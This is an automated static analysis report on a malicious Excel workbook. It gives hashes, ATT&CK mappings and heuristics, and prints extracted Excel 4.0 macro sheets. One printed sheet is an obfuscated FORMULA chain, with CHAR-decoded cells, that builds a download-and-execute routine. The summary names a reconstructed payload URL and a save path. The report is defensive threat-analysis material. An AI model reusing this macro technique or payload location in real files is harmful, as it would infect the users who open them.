Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8d3e212eeea1b0d7…

MALICIOUS

Office (OOXML)

60.2 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-20
MD5: 82372bcafd9e11b98ba1a99ee7b0300c SHA-1: 828865ba39984e5897f596a1d4e9e339c098aa79 SHA-256: 8d3e212eeea1b0d7ac26739456004c279de4f0e7d9236341ed4abc1c0a120013
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains critical heuristics indicating the presence of Excel 4.0 macro sheets with dangerous API calls like FORMULA.FILL and FORMULA, which are used to download and execute payloads. The reconstructed URL 'http://5.45.81.250/123.dll' and the save path 'C:\Datop\test.test' were found within the document body, strongly suggesting the macro's intent is to fetch and run a second-stage malicious file.

Heuristics 5

  • Excel 4.0 macro sheet (9 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA.FILL, FORMULA critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 12 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 9

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1346 bytes
SHA-256: 6ce4fea470c2db8d02731ed4e720a7667206a3a7a5fd5336f0d2ae7ffa98ae3d
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0400-000000000000}"><dimension ref="A1"/><sheetViews><sheetView showFormulas="1" tabSelected="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="6.140625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="6.140625" style="2"/><col min="2" max="2" width="255.7109375" style="2" bestFit="1" customWidth="1"/><col min="3" max="16384" width="6.140625" style="2"/></cols><sheetData/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><drawing r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 2627 bytes
SHA-256: 64f2cc196ff22987ee900268c0d1e0640245c4c549527e4f8c20cb2a7e245204
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{346C3613-288F-4FD4-A1F2-68D26AEB8B68}"><dimension ref="C11"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="5" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="5" style="1"/></cols><sheetData><row r="11" spans="3:3" x14ac:dyDescent="0.25"><c r="C11" s="1" t="b"><f>FORMULA.FILL()=FORMULA.ARRAY()=FORMULA.FILL()=FORMULA.FILL('Vgq2'!F9,'Vgq3'!H4)=FORMULA('Vgq4'!I6,'Vgq5'!I6)=FORMULA.ARRAY()=FORMULA('Vgq1'!D13,'Vgq2'!B2)=FORMULA('Vgq3'!C11,'Vgq4'!A9)="&amp;"=FORMULA('Vgq6'!D8,'Vgq7'!I5)=FORMULA('Shq1'!D43&amp;'Shq1'!D45&amp;'Vgq3'!H4&amp;'Shq1'!D48&amp;'Shq1'!D48&amp;'Shq1'!D50&amp;'Shq2'!C5&amp;'Vgq5'!I6&amp;'Shq3'!E7&amp;'Vgq5'!I6&amp;'Shq1'!E2&amp;'Shq1'!B12&amp;'Shq1'!F9&amp;'Shq1'!E2&amp;'Shq1'!R7&amp;'Shq1'!J11&amp;'Vgq5'!I6&amp;'Shq1'!E2&amp;'Shq1'!C15&amp;'Shq1'!F9&amp;'Shq1'!M1&amp;'Vgq5'!I6&amp;'Shq3'!G4,C60)=FORMULA()=FORMULA('Shq1'!D43&amp;'Shq1'!D45&amp;'Vgq3'!H4&amp;'Shq1'!D48&amp;'Shq1'!D48&amp;'Shq1'!D50&amp;'Shq1'!F34&amp;'Shq1'!L9&amp;'Vgq5'!I6&amp;'Shq1'!A1&amp;'Shq1'!K14&amp;'Shq1'!M1&amp;'Shq1'!A11&amp;'Shq1'!F34&amp;'Shq1'!F37&amp;'Shq2'!S4&amp;'Vgq4'!A9&amp;'Shq2'!M5&amp;'Vgq2'!B2&amp;'Shq3'!Q8&amp;'Vgq7'!I5&amp;'Vgq7'!I5&amp;'Shq2'!I12&amp;'Shq3'!O3,C62)=FORMULA('Vgq5'!C9,'Vgq1'!I5)="&amp;"=FORMULA('Shq1'!D43&amp;'Vgq1'!I5&amp;'Shq1'!P36&amp;'Vgq1'!I5&amp;'Shq1'!P38&amp;'Shq1'!D50&amp;'Shq1'!F34&amp;'Shq1'!C8&amp;'Shq2'!O12&amp;'Shq1'!C8&amp;'Shq1'!I1&amp;'Shq1'!K5&amp;'Shq1'!G77&amp;'Shq2'!R15&amp;'Shq1'!G77&amp;'Shq2'!T9,C64)=FORMULA('Shq1'!D43&amp;'Shq1'!K122&amp;'Shq1'!K124&amp;'Shq1'!K126&amp;'Shq1'!K128&amp;'Shq1'!K122&amp;'Shq1'!J130&amp;'Shq1'!D50&amp;'Shq1'!D51,C70)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1277 bytes
SHA-256: 68031f6c02089036adf57e2ef01d881dabf389a96bb176fb86695c0fb7deda50
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0500-000000000000}"><dimension ref="D13"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="13" spans="4:4" x14ac:dyDescent="0.25"><c r="D13" s="1" t="str"><f>CHAR('Shq1'!F69)</f><v>e</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 1274 bytes
SHA-256: 523d7bbd4547bd1e2a997ca4f87318b3e43146ca792ad5f6646974573666249d
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0600-000000000000}"><dimension ref="F9"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="9" spans="6:6" x14ac:dyDescent="0.25"><c r="F9" s="1" t="str"><f>CHAR('Shq1'!K70)</f><v>A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet3.xml 1277 bytes
SHA-256: 8fc42a49b46107122818a29c3c788c5f4da7f98f832b7cd7336c44079bff7445
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0700-000000000000}"><dimension ref="C11"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="11" spans="3:3" x14ac:dyDescent="0.25"><c r="C11" s="1" t="str"><f>CHAR('Shq1'!O66)</f><v>o</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_05.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet4.xml 1274 bytes
SHA-256: 0cc34d68a6dfc34c01213dcb296c84b6bcffbf2a1ff4f58b2391e1bc34549152
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0800-000000000000}"><dimension ref="I6"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="6" spans="9:9" x14ac:dyDescent="0.25"><c r="I6" s="1" t="str"><f>CHAR('Shq1'!R65)</f><v>r</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_06.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet5.xml 1274 bytes
SHA-256: d31f8e28051ceb3adffc3dfc4d67855b80aa09d8e814e84d0fb71fb149ab54a1
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0900-000000000000}"><dimension ref="C9"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="9" spans="3:3" x14ac:dyDescent="0.25"><c r="C9" s="1" t="str"><f>CHAR('Shq1'!C68)</f><v>E</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_07.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet6.xml 1274 bytes
SHA-256: e6c5b77b0a9af449bba825200a075de48e1db4999bcd20622552c6cfac36a13b
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0A00-000000000000}"><dimension ref="D8"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="8" spans="4:4" x14ac:dyDescent="0.25"><c r="D8" s="1" t="str"><f>CHAR('Shq1'!S70)</f><v>C</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_08.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet7.xml 1152 bytes
SHA-256: 326f37fcf446b146631e154b00af2be442cc6cbb5880bfbe76c0a5fcd0559a4c
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0B00-000000000000}"><dimension ref="A1"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="1"/></cols><sheetData/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

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